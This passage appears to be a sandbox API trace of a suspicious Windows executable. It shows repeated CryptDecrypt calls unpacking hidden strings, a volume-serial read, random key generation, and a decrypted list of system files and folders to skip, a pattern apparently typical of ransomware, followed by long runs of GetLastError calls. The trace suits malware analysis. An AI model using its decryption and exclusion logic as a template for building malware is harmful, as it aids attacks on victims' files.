hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a5178 | out: hHeap=0x23a0000) returned 1 [0146.830] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a5390 | out: hHeap=0x23a0000) returned 1 [0146.830] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a55a8 | out: hHeap=0x23a0000) returned 1 [0146.830] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4e50 | out: hHeap=0x23a0000) returned 1 [0146.830] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4ee0 | out: hHeap=0x23a0000) returned 1 [0146.830] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1270 | out: hHeap=0x23a0000) returned 1 [0146.830] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x20) returned 0x23a1270 [0146.830] CryptImportKey (in: hProv=0x8067b0, pbData=0x55fcd4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x55fd3c | out: phKey=0x55fd3c*=0x836da0) returned 1 [0146.830] CryptSetKeyParam (hKey=0x836da0, dwParam=0x1, pbData=0x55fd24, dwFlags=0x0) returned 1 [0146.830] CryptDecrypt (in: hKey=0x836da0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a1270, pdwDataLen=0x55fcf0 | out: pbData=0x23a1270, pdwDataLen=0x55fcf0) returned 1 [0146.830] CryptDestroyKey (hKey=0x836da0) returned 1 [0146.830] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x1e) returned 0x23a1298 [0146.830] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x1e) returned 0x23a12c0 [0146.830] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x90) returned 0x23a12e8 [0146.830] CryptImportKey (in: hProv=0x8067b0, pbData=0x55fcac, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x55fd14 | out: phKey=0x55fd14*=0x8367a0) returned 1 [0146.830] CryptSetKeyParam (hKey=0x8367a0, dwParam=0x1, pbData=0x55fcfc, dwFlags=0x0) returned 1 [0146.830] CryptDecrypt (in: hKey=0x8367a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a12e8, pdwDataLen=0x55fcc8 | out: pbData=0x23a12e8, pdwDataLen=0x55fcc8) returned 1 [0146.830] CryptDestroyKey (hKey=0x8367a0) returned 1 [0146.830] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12e8 | out: hHeap=0x23a0000) returned 1 [0146.830] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x23a1298, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0146.830] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12c0 | out: hHeap=0x23a0000) returned 1 [0146.830] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1270 | out: hHeap=0x23a0000) returned 1 [0146.830] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x55fd7c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x55fd7c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0146.830] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1298 | out: hHeap=0x23a0000) returned 1 [0146.830] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x28) returned 0x23a1270 [0146.830] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x10) returned 0x23a12a0 [0146.830] CryptImportKey (in: hProv=0x8067b0, pbData=0x55fbe4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x55fc4c | out: phKey=0x55fc4c*=0x836c20) returned 1 [0146.830] CryptSetKeyParam (hKey=0x836c20, dwParam=0x1, pbData=0x55fc34, dwFlags=0x0) returned 1 [0146.830] CryptDecrypt (in: hKey=0x836c20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a12a0, pdwDataLen=0x55fc00 | out: pbData=0x23a12a0, pdwDataLen=0x55fc00) returned 1 [0146.830] CryptDestroyKey (hKey=0x836c20) returned 1 [0146.830] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x10) returned 0x23a12b8 [0146.831] CryptImportKey (in: hProv=0x8067b0, pbData=0x55fbdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x55fc44 | out: phKey=0x55fc44*=0x836da0) returned 1 [0146.831] CryptSetKeyParam (hKey=0x836da0, dwParam=0x1, pbData=0x55fc2c, dwFlags=0x0) returned 1 [0146.831] CryptDecrypt (in: hKey=0x836da0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a12b8, pdwDataLen=0x55fbf8 | out: pbData=0x23a12b8, pdwDataLen=0x55fbf8) returned 1 [0146.831] CryptDestroyKey (hKey=0x836da0) returned 1 [0146.831] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x10) returned 0x23a12d0 [0146.831] CryptImportKey (in: hProv=0x8067b0, pbData=0x55fbd4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x55fc3c | out: phKey=0x55fc3c*=0x836da0) returned 1 [0146.831] CryptSetKeyParam (hKey=0x836da0, dwParam=0x1, pbData=0x55fc24, dwFlags=0x0) returned 1 [0146.831] CryptDecrypt (in: hKey=0x836da0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a12d0, pdwDataLen=0x55fbf0 | out: pbData=0x23a12d0, pdwDataLen=0x55fbf0) returned 1 [0146.831] CryptDestroyKey (hKey=0x836da0) returned 1 [0146.831] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x10) returned 0x23a12e8 [0146.831] CryptImportKey (in: hProv=0x8067b0, pbData=0x55fbcc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x55fc34 | out: phKey=0x55fc34*=0x8369a0) returned 1 [0146.831] CryptSetKeyParam (hKey=0x8369a0, dwParam=0x1, pbData=0x55fc1c, dwFlags=0x0) returned 1 [0146.831] CryptDecrypt (in: hKey=0x8369a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a12e8, pdwDataLen=0x55fbe8 | out: pbData=0x23a12e8, pdwDataLen=0x55fbe8) returned 1 [0146.831] CryptDestroyKey (hKey=0x8369a0) returned 1 [0146.831] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x90) returned 0x23a1300 [0146.831] CryptImportKey (in: hProv=0x8067b0, pbData=0x55fbc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x55fc2c | out: phKey=0x55fc2c*=0x836920) returned 1 [0146.831] CryptSetKeyParam (hKey=0x836920, dwParam=0x1, pbData=0x55fc14, dwFlags=0x0) returned 1 [0146.831] CryptDecrypt (in: hKey=0x836920, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a1300, pdwDataLen=0x55fbe0 | out: pbData=0x23a1300, pdwDataLen=0x55fbe0) returned 1 [0146.831] CryptDestroyKey (hKey=0x836920) returned 1 [0146.831] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x10) returned 0x23a1398 [0146.831] CryptImportKey (in: hProv=0x8067b0, pbData=0x55fbbc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x55fc24 | out: phKey=0x55fc24*=0x836ba0) returned 1 [0146.831] CryptSetKeyParam (hKey=0x836ba0, dwParam=0x1, pbData=0x55fc0c, dwFlags=0x0) returned 1 [0146.831] CryptDecrypt (in: hKey=0x836ba0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a1398, pdwDataLen=0x55fbd8 | out: pbData=0x23a1398, pdwDataLen=0x55fbd8) returned 1 [0146.831] CryptDestroyKey (hKey=0x836ba0) returned 1 [0146.831] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x70) returned 0x23a13b0 [0146.831] CryptImportKey (in: hProv=0x8067b0, pbData=0x55fbb4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x55fc1c | out: phKey=0x55fc1c*=0x8366e0) returned 1 [0146.831] CryptSetKeyParam (hKey=0x8366e0, dwParam=0x1, pbData=0x55fc04, dwFlags=0x0) returned 1 [0146.831] CryptDecrypt (in: hKey=0x8366e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a13b0, pdwDataLen=0x55fbd0 | out: pbData=0x23a13b0, pdwDataLen=0x55fbd0) returned 1 [0146.831] CryptDestroyKey (hKey=0x8366e0) returned 1 [0146.831] htonl (hostlong=0xb4197730) returned 0x307719b4 [0146.831] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x20, pbBuffer=0x55fd10 | out: pbBuffer=0x55fd10) returned 1 [0146.831] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x28) returned 0x23a1428 [0146.831] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x10) returned 0x23a1458 [0146.831] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x4) returned 0x23a1470 [0146.831] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x14) returned 0x23a1480 [0146.831] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x10) returned 0x23a14a0 [0146.832] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x80) returned 0x23a14b8 [0146.832] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x10) returned 0x23a1540 [0146.832] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x82) returned 0x23a4e50 [0146.832] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x10) returned 0x23a4ee0 [0146.832] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x4) returned 0x23a4ef8 [0146.832] CryptAcquireContextW (in: phProv=0xc4fcf4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xc4fcf4*=0x83a8f8) returned 1 [0146.833] CryptGenRandom (in: hProv=0x83a8f8, dwLen=0x55, pbBuffer=0x55fc7a | out: pbBuffer=0x55fc7a) returned 1 [0146.833] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x10) returned 0x23a4f08 [0146.833] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x80) returned 0x23a4f20 [0146.833] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x10) returned 0x23a4fa8 [0146.833] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x2) returned 0x23a4fc0 [0146.833] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x4) returned 0x23a4fd0 [0146.888] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x10) returned 0x23a4fe0 [0146.888] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x80) returned 0x23a7f28 [0146.890] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x10) returned 0x23a7fb0 [0146.890] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x4) returned 0x23a7fc8 [0146.890] RtlReAllocateHeap (Heap=0x23a0000, Flags=0x0, Ptr=0x23a4fc0, Size=0x82) returned 0x23a04a0 [0146.890] RtlReAllocateHeap (Heap=0x23a0000, Flags=0x0, Ptr=0x23a7fc8, Size=0x100) returned 0x23a7fd8 [0146.890] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x10) returned 0x23a8108 [0146.890] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x82) returned 0x23a86e8 [0146.890] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x10) returned 0x23a8180 [0146.890] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x82) returned 0x23a8778 [0146.890] RtlReAllocateHeap (Heap=0x23a0000, Flags=0x0, Ptr=0x23a04a0, Size=0x104) returned 0x23a8808 [0146.890] RtlReAllocateHeap (Heap=0x23a0000, Flags=0x0, Ptr=0x23a86e8, Size=0x104) returned 0x23a8918 [0146.890] RtlReAllocateHeap (Heap=0x23a0000, Flags=0x0, Ptr=0x23a14b8, Size=0x100) returned 0x23a04a0 [0146.890] RtlReAllocateHeap (Heap=0x23a0000, Flags=0x0, Ptr=0x23a7fd8, Size=0x200) returned 0x23a8a28 [0146.891] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4fd0 | out: hHeap=0x23a0000) returned 1 [0146.891] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a8a28 | out: hHeap=0x23a0000) returned 1 [0146.891] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a7fb0 | out: hHeap=0x23a0000) returned 1 [0146.891] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4f20 | out: hHeap=0x23a0000) returned 1 [0146.891] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4f08 | out: hHeap=0x23a0000) returned 1 [0146.891] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a7f28 | out: hHeap=0x23a0000) returned 1 [0146.891] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4fe0 | out: hHeap=0x23a0000) returned 1 [0146.891] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a8808 | out: hHeap=0x23a0000) returned 1 [0146.891] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4fa8 | out: hHeap=0x23a0000) returned 1 [0146.891] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a8918 | out: hHeap=0x23a0000) returned 1 [0146.891] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a8108 | out: hHeap=0x23a0000) returned 1 [0146.891] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a8778 | out: hHeap=0x23a0000) returned 1 [0146.891] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a8180 | out: hHeap=0x23a0000) returned 1 [0146.891] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1470 | out: hHeap=0x23a0000) returned 1 [0146.891] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1458 | out: hHeap=0x23a0000) returned 1 [0146.891] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4e50 | out: hHeap=0x23a0000) returned 1 [0146.891] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1540 | out: hHeap=0x23a0000) returned 1 [0146.891] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a04a0 | out: hHeap=0x23a0000) returned 1 [0146.891] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a14a0 | out: hHeap=0x23a0000) returned 1 [0146.892] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4ef8 | out: hHeap=0x23a0000) returned 1 [0146.892] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4ee0 | out: hHeap=0x23a0000) returned 1 [0146.892] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1428 | out: hHeap=0x23a0000) returned 1 [0146.892] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1480 | out: hHeap=0x23a0000) returned 1 [0146.892] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0xa4) returned 0x23a04a0 [0146.892] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x62) returned 0x23a1428 [0146.892] RtlReAllocateHeap (Heap=0x23a0000, Flags=0x0, Ptr=0x23a1428, Size=0xc2) returned 0x23a1428 [0146.892] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x10) returned 0x23a8108 [0146.892] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0xb40) returned 0x23a86e8 [0146.893] CryptImportKey (in: hProv=0x8067b0, pbData=0x55fbac, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x55fc14 | out: phKey=0x55fc14*=0x836be0) returned 1 [0146.893] CryptSetKeyParam (hKey=0x836be0, dwParam=0x1, pbData=0x55fbfc, dwFlags=0x0) returned 1 [0146.893] CryptDecrypt (in: hKey=0x836be0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a86e8, pdwDataLen=0x55fbc8 | out: pbData=0x23a86e8, pdwDataLen=0x55fbc8) returned 1 [0146.893] CryptDestroyKey (hKey=0x836be0) returned 1 [0146.893] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x10) returned 0x23a81c8 [0146.893] CryptImportKey (in: hProv=0x8067b0, pbData=0x55fba4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x55fc0c | out: phKey=0x55fc0c*=0x836da0) returned 1 [0146.893] CryptSetKeyParam (hKey=0x836da0, dwParam=0x1, pbData=0x55fbf4, dwFlags=0x0) returned 1 [0146.893] CryptDecrypt (in: hKey=0x836da0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a81c8, pdwDataLen=0x55fbc0 | out: pbData=0x23a81c8, pdwDataLen=0x55fbc0) returned 1 [0146.893] CryptDestroyKey (hKey=0x836da0) returned 1 [0146.893] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x90) returned 0x23a4e50 [0146.893] CryptImportKey (in: hProv=0x8067b0, pbData=0x55fb7c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x55fbe4 | out: phKey=0x55fbe4*=0x836be0) returned 1 [0146.893] CryptSetKeyParam (hKey=0x836be0, dwParam=0x1, pbData=0x55fbcc, dwFlags=0x0) returned 1 [0146.893] CryptDecrypt (in: hKey=0x836be0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a4e50, pdwDataLen=0x55fb98 | out: pbData=0x23a4e50, pdwDataLen=0x55fb98) returned 1 [0146.893] CryptDestroyKey (hKey=0x836be0) returned 1 [0146.894] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x84) returned 0x23a4ee8 [0146.894] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x84) returned 0x23a9a38 [0146.894] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x90) returned 0x23a7f28 [0146.894] CryptImportKey (in: hProv=0x8067b0, pbData=0x55fb54, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x55fbbc | out: phKey=0x55fbbc*=0x836e20) returned 1 [0146.894] CryptSetKeyParam (hKey=0x836e20, dwParam=0x1, pbData=0x55fba4, dwFlags=0x0) returned 1 [0146.894] CryptDecrypt (in: hKey=0x836e20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a7f28, pdwDataLen=0x55fb70 | out: pbData=0x23a7f28, pdwDataLen=0x55fb70) returned 1 [0146.894] CryptDestroyKey (hKey=0x836e20) returned 1 [0146.894] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a7f28 | out: hHeap=0x23a0000) returned 1 [0146.894] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys", lpDst=0x23a4ee8, nSize=0x42 | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys") returned 0x42 [0146.894] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a9a38 | out: hHeap=0x23a0000) returned 1 [0146.894] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4e50 | out: hHeap=0x23a0000) returned 1 [0146.894] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x20) returned 0x23a0550 [0146.894] CryptImportKey (in: hProv=0x8067b0, pbData=0x55fb78, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x55fbe0 | out: phKey=0x55fbe0*=0x836ae0) returned 1 [0146.894] CryptSetKeyParam (hKey=0x836ae0, dwParam=0x1, pbData=0x55fbc8, dwFlags=0x0) returned 1 [0146.894] CryptDecrypt (in: hKey=0x836ae0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a0550, pdwDataLen=0x55fb94 | out: pbData=0x23a0550, pdwDataLen=0x55fb94) returned 1 [0146.894] CryptDestroyKey (hKey=0x836ae0) returned 1 [0146.895] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x18) returned 0x23a0578 [0146.895] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x18) returned 0x23a14f8 [0146.895] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x90) returned 0x23a4e50 [0146.895] CryptImportKey (in: hProv=0x8067b0, pbData=0x55fb50, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x55fbb8 | out: phKey=0x55fbb8*=0x836da0) returned 1 [0146.895] CryptSetKeyParam (hKey=0x836da0, dwParam=0x1, pbData=0x55fba0, dwFlags=0x0) returned 1 [0146.895] CryptDecrypt (in: hKey=0x836da0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a4e50, pdwDataLen=0x55fb6c | out: pbData=0x23a4e50, pdwDataLen=0x55fb6c) returned 1 [0146.895] CryptDestroyKey (hKey=0x836da0) returned 1 [0146.895] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4e50 | out: hHeap=0x23a0000) returned 1 [0146.895] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows;", lpDst=0x23a0578, nSize=0xc | out: lpDst="C:\\Windows;") returned 0xc [0146.895] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a14f8 | out: hHeap=0x23a0000) returned 1 [0146.895] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a0550 | out: hHeap=0x23a0000) returned 1 [0146.895] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x20a) returned 0x23aa238 [0146.895] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x20a) returned 0x23aa450 [0146.895] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x23aa450, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Local\\ph_exec.exe1.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\ph_exec.exe1.exe")) returned 0x2e [0146.895] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23aa450 | out: hHeap=0x23a0000) returned 1 [0146.895] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0xb38) returned 0x23aa450 [0146.895] GetLastError () returned 0x0 [0146.895] GetLastError () returned 0x0 [0146.895] GetLastError () returned 0x0 [0146.895] GetLastError () returned 0x0 [0146.895] GetLastError () returned 0x0 [0146.895] GetLastError () returned 0x0 [0146.895] GetLastError () returned 0x0 [0146.895] GetLastError () returned 0x0 [0146.895] GetLastError () returned 0x0 [0146.895] GetLastError () returned 0x0 [0146.895] GetLastError () returned 0x0 [0146.895] GetLastError () returned 0x0 [0146.895] GetLastError () returned 0x0 [0146.895] GetLastError () returned 0x0 [0146.895] GetLastError () returned 0x0 [0146.895] GetLastError () returned 0x0 [0146.896] GetLastError () returned 0x0 [0146.896] GetLastError () returned 0x0 [0146.896] GetLastError () returned 0x0 [0146.896] GetLastError () returned 0x0 [0146.896] GetLastError () returned 0x0 [0146.896] GetLastError () returned 0x0 [0146.896] GetLastError () returned 0x0 [0146.896] GetLastError () returned 0x0 [0146.896] GetLastError () returned 0x0 [0146.896] GetLastError () returned 0x0 [0146.896] GetLastError () returned 0x0 [0146.896] GetLastError () returned 0x0 [0146.896] GetLastError () returned 0x0 [0146.896] GetLastError () returned 0x0 [0146.896] GetLastError () returned 0x0 [0146.896] GetLastError () returned 0x0 [0146.896] GetLastError () returned 0x0 [0146.896] GetLastError () returned 0x0 [0146.896] GetLastError () returned 0x0 [0146.896] GetLastError () returned 0x0 [0146.896] GetLastError () returned 0x0 [0146.896] GetLastError () returned 0x0 [0146.896] GetLastError () returned 0x0 [0146.896] GetLastError () returned 0x0 [0146.897] GetLastError () returned 0x0 [0146.897] GetLastError () returned 0x0 [0146.897] GetLastError () returned 0x0 [0146.897] GetLastError () returned 0x0 [0146.897] GetLastError () returned 0x0 [0146.897] GetLastError () returned 0x0 [0146.897] GetLastError () returned 0x0 [0146.897] GetLastError () returned 0x0 [0146.897] GetLastError () returned 0x0 [0146.897] GetLastError () returned 0x0 [0146.897] GetLastError () returned 0x0 [0146.897] GetLastError () returned 0x0 [0146.897] GetLastError () returned 0x0 [0146.897] GetLastError () returned 0x0 [0146.897] GetLastError () returned 0x0 [0146.897] GetLastError () returned 0x0 [0146.897] GetLastError () returned 0x0 [0146.897] GetLastError () returned 0x0 [0146.897] GetLastError () returned 0x0 [0146.897] GetLastError () returned 0x0 [0146.897] GetLastError () returned 0x0 [0146.897] GetLastError () returned 0x0 [0146.897] GetLastError () returned 0x0 [0146.897] GetLastError () returned 0x0 [0146.897] GetLastError () returned 0x0 [0146.897] GetLastError () returned 0x0 [0146.897] GetLastError () returned 0x0 [0146.897] GetLastError () returned 0x0 [0146.897] GetLastError () returned 0x0 [0146.897] GetLastError () returned 0x0 [0146.898] GetLastError () returned 0x0 [0146.898] GetLastError () returned 0x0 [0146.898] GetLastError () returned 0x0 [0146.898] GetLastError () returned 0x0 [0146.898] GetLastError () returned 0x0 [0146.898] GetLastError () returned 0x0 [0146.898] GetLastError () returned 0x0 [0146.898] GetLastError () returned 0x0 [0146.898] GetLastError () returned 0x0 [0146.898] GetLastError () returned 0x0 [0146.898] GetLastError () returned 0x0 [0146.898] GetLastError () returned 0x0 [0146.898] GetLastError () returned 0x0 [0146.898] GetLastError () returned 0x0 [0146.898] GetLastError () returned 0x0 [0146.898] GetLastError () returned 0x0 [0146.898] GetLastError () returned 0x0 [0146.898] GetLastError () returned 0x0 [0146.898] GetLastError () returned 0x0 [0146.898] GetLastError () returned 0x0 [0146.898] GetLastError () returned 0x0 [0146.898] GetLastError () returned 0x0 [0146.898] GetLastError () returned 0x0 [0146.898] GetLastError () returned 0x0 [0146.898] GetLastError () returned 0x0 [0146.898] GetLastError () returned 0x0 [0146.898] GetLastError () returned 0x0 [0146.898] GetLastError () returned 0x0 [0146.898] GetLastError () returned 0x0 [0146.898] GetLastError () returned 0x0 [0146.898] GetLastError () returned 0x0 [0146.899] GetLastError () returned 0x0 [0146.899] GetLastError () returned 0x0 [0146.899] GetLastError () returned 0x0 [0146.899] GetLastError () returned 0x0 [0146.899] GetLastError () returned 0x0 [0146.899] GetLastError () returned 0x0 [0146.899] GetLastError () returned 0x0 [0146.899] GetLastError () returned 0x0 [0146.899] GetLastError () returned 0x0 [0146.899] GetLastError () returned 0x0 [0146.899] GetLastError () returned 0x0 [0146.899] GetLastError () returned 0x0 [0146.899] GetLastError () returned 0x0 [0146.899] GetLastError () returned 0x0 [0146.899] GetLastError () returned 0x0 [0146.899] GetLastError () returned 0x0 [0146.899] GetLastError () returned 0x0 [0146.899] GetLastError () returned 0x0 [0146.899] GetLastError () returned 0x0 [0146.899] GetLastError () returned 0x0 [0146.899] GetLastError () returned 0x0 [0146.899] GetLastError () returned 0x0 [0146.899] GetLastError () returned 0x0 [0146.899] GetLastError () returned 0x0 [0146.899] GetLastError () returned 0x0 [0146.899] GetLastError () returned 0x0 [0146.899] GetLastError () returned 0x0 [0146.899] GetLastError () returned 0x0 [0146.899] GetLastError () returned 0x0 [0146.899] GetLastError () returned 0x0 [0146.900] GetLastError () returned 0x0 [0146.900] GetLastError () returned 0x0 [0146.900] GetLastError () returned 0x0 [0146.900] GetLastError () returned 0x0 [0146.900] GetLastError () returned 0x0 [0146.900] GetLastError () returned 0x0 [0146.900] GetLastError () returned 0x0 [0146.900] GetLastError () returned 0x0 [0146.900] GetLastError () returned 0x0 [0146.900] GetLastError () returned 0x0 [0146.900] GetLastError () returned 0x0 [0146.900] GetLastError () returned 0x0 [0146.900] GetLastError () returned 0x0 [0146.900] GetLastError () returned 0x0 [0146.900] GetLastError () returned 0x0 [0146.900] GetLastError () returned 0x0 [0146.900] GetLastError () returned 0x0 [0146.900] GetLastError () returned 0x0 [0146.900] GetLastError () returned 0x0 [0146.900] GetLastError () returned 0x0 [0146.900] GetLastError () returned 0x0 [0146.900] GetLastError () returned 0x0 [0146.900] GetLastError () returned 0x0 [0146.900] GetLastError () returned 0x0 [0146.900] GetLastError () returned 0x0 [0146.900] GetLastError () returned 0x0 [0146.900] GetLastError () returned 0x0 [0146.900] GetLastError () returned 0x0 [0146.900] GetLastError () returned 0x0 [0146.901] GetLastError () returned 0x0 [0146.901] GetLastError () returned 0x0 [0146.901] GetLastError () returned 0x0 [0146.901] GetLastError () returned 0x0 [0146.901] GetLastError () returned 0x0 [0146.901] GetLastError () returned 0x0 